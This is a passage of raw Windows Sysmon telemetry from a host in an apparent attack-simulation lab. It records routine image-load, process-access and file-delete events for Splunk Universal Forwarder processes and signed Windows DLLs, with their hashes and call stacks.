Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000057223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:20.077{7BD73061-7520-613B-B40B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000057375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.733{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.733{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.733{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.702{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=21AF211BCB5370457BB2C6DDA95BD2A3,SHA256=76EF6B80CBBB8E2251A996D1E0FB042730D2D31366FE674D3E976C0561306415,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.702{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D21D6428B819E54F339913113863C809,SHA256=C1CD8485EDD1102BE7D1668237830142E86BD1E9E878CDF3EBDD48EF03E3EB91,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.592{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000057355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:21.577{7BD73061-7521-613B-B60B-00000000F001}6396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 